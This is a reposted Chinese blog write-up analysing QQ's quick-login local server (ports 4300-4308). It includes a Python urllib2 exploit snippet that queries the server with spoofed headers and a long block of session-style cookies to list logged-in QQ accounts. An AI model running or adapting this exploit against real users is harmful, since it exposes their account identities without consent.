QQ快速登录协议的分析与漏洞利用
发布日期:2021-10-07 04:43:14 浏览次数:9 分类:技术文章

本文共 3405 字,大约阅读时间需要 11 分钟。

协议验证

QQ快速登录协议是本机登录了QQ的情况下可以方便的快速登录各种网页,包括QQ空间等。但是QQ的这个快捷登录功能又是如何实现的呢,毕竟浏览器上的代码没有权限和计算机上的其他应用进行交互。今天在看吾爱破解论坛的时候看到这样一篇帖子激起了我的兴趣。帖子链接:

按照帖子的说法,QQ的快捷登录是通过在本地建立一个服务器,然后使浏览器访问本地服务器进行实现的。
帖子对QQ的快速登录协议做了一个很详尽的分析,但是帖子是2017年发表的,现如今是否可用值得验证。下为验证过程:
windows平台,使用命令:

netstat -anto部分数据:  TCP    127.0.0.1:4300         0.0.0.0:0              LISTENING       15100    InHost  TCP    127.0.0.1:4301         0.0.0.0:0              LISTENING       15100    InHost

可以看到,当启动了tim或qq后,在4300-4308端口中确实有被占用。

使用命令:

tasklist|findstr "15100TIM.exe                      15100 Console                    1    184,820 K

可以看到,现在快捷登录的实现方法依然没有发生改变。

协议利用

利用python中提供的urllib2库,对漏洞进行利用,代码简单只有几行。(此处只提供部分利用方式,不提供更多的利用方式,以防部分网站也利用该协议)

port=['4300','4301','4302','4303','4304','4305','4306','4307','4308']#建立端口列表,用于遍历访问headers={    'Accept':'*/*',    'Accept-Encoding':'gzip, deflate, br',    'Accept-Language':'zh-CN,zh;q=0.9',    'Connection':'keep-alive',    'Cookie':'RK=0I2uxizPSc; LW_sid=q1f4I9v7k5D7R6O5e4S9p7P8V1; LW_uid=q1Z419f7X5k7n6o5A449A708K2; pgv_pvi=5160215552; tvfe_boss_uuid=d2e9e2992c2f6b14; eas_sid=61Z57067j5p3m9G2x7s9S3d2J6; pac_uid=1_123456789; ptcz=18cfc32c59a21faa22f4c97613a01e184bd5ed3838c42b8d0ac4c41b76873fe9; o_cookie=123456789; pgv_pvid=9730655232; pt2gguin=o0123456789; _qpsvr_localtk=1527494364831; pgv_si=s3689689088; pgv_info=ssid=s250026112; confirmuin=0; ptdrvs=gzHJNsKwyLge2eJpGUpPEsyTJs02UlEErMI1rTCOTl8_; ptvfsession=99a88037b2b433ab61922b20b970bb64c5ea90bc19cb04c8cbe0ef5fbbbb91efef5eefbb321ef3775d04b1301e840b1fce347b7eea0d121a; ptisp=ctc;ETK=; skey=@k8jlvoMlF; ptnick_123456789=e5ad99e98791e58589; _qz_referrer=i.qq.com; pt_login_sig=rJ2-e-RdO-U1BKb64PgKp1WbCqOtwdxctdpenMQXMnGLxG2ZrAUisGboQlV5rlOf; pt_clientip=ca667d47e5b1f515; pt_serverip=86930abf06592ed7; pt_local_token=-1909176059; uikey=b01f2c4333cd59b37cfcca5f8dd2e20f50d17ba13cac145b6ae7d324d3db476a; pt_guid_sig=cf3d82b3651d1715cf4d1fab6d4a32d404e1aea65c3081f6d8ef2fe8e4e4b820; pt_recent_uins=c4ef4c627886a903aec329578da7cdfad8b1ed0642acf27a117548094cbee3f74d00864bf00874333301d1afb3e56d1221590d2a92c5b064; qrsig=qLA88IWo1bVkCs9O-mKn1Dr7sMUXkbnIUxXPOY70n8i5VmsZ0tZsHl9NqXkrj5zF',    'Host':'localhost.ptlogin2.qq.com:4301',    'Referer':'https://xui.ptlogin2.qq.com/cgi-bin/xlogin?proxy_url=https%3A//qzs.qq.com/qzone/v6/portal/proxy.html&daid=5&&hide_title_bar=1&low_login=0&qlogin_auto_login=1&no_verifyimg=1&link_target=blank&appid=549000912&style=22&target=self&s_url=https%3A%2F%2Fqzs.qzone.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone&pt_qr_app=%E6%89%8B%E6%9C%BAQQ%E7%A9%BA%E9%97%B4&pt_qr_link=http%3A//z.qzone.com/download.html&self_regurl=https%3A//qzs.qq.com/qzone/v6/reg/index.html&pt_qr_help_link=http%3A//z.qzone.com/download.html&pt_no_auth=0',    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36'    }    #构造一个用于发起链接的伪装headers,用于发起链接req=urllib2.Request(url='https://localhost.ptlogin2.qq.com:'+port[i]+'/pt_get_uins?callback=ptui_getuins_CB&r=0.39923783252274414&pt_local_tk=-1909176059',headers=headers)result=urllib2.urlopen(req).read()#使用urllib2对本地服务器发起访问,请求登录的qq数据

上面的代码执行后,在有QQ登录的情况下,result的返回值为:

var var_sso_uin_list=[{
"account":"qq账号","client_type":77313,"face_index":0,"gender":1,"nickname":"qq昵称","uin":"qq账号","uin_flag":323486274}];ptui_getuins_CB(var_sso_uin_list);

因此此方法可以提取当前电脑上登录的所有qq的基本信息。具体的可以执行的代码,可以在我的github上进行下载,下载链接:

转载地址:https://blog.csdn.net/meanong/article/details/80502195 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!

上一篇:Dll导出函数劫持通用方法
下一篇:visual studio中使用printf打印迭代器内容时与cout的差别

发表评论

最新留言

关注你微信了!
[***.104.42.241]2024年04月15日 01时05分33秒

关于作者

    喝酒易醉,品茶养心,人生如梦,品茶悟道,何以解忧?唯有杜康!
-- 愿君每日到此一游!

推荐文章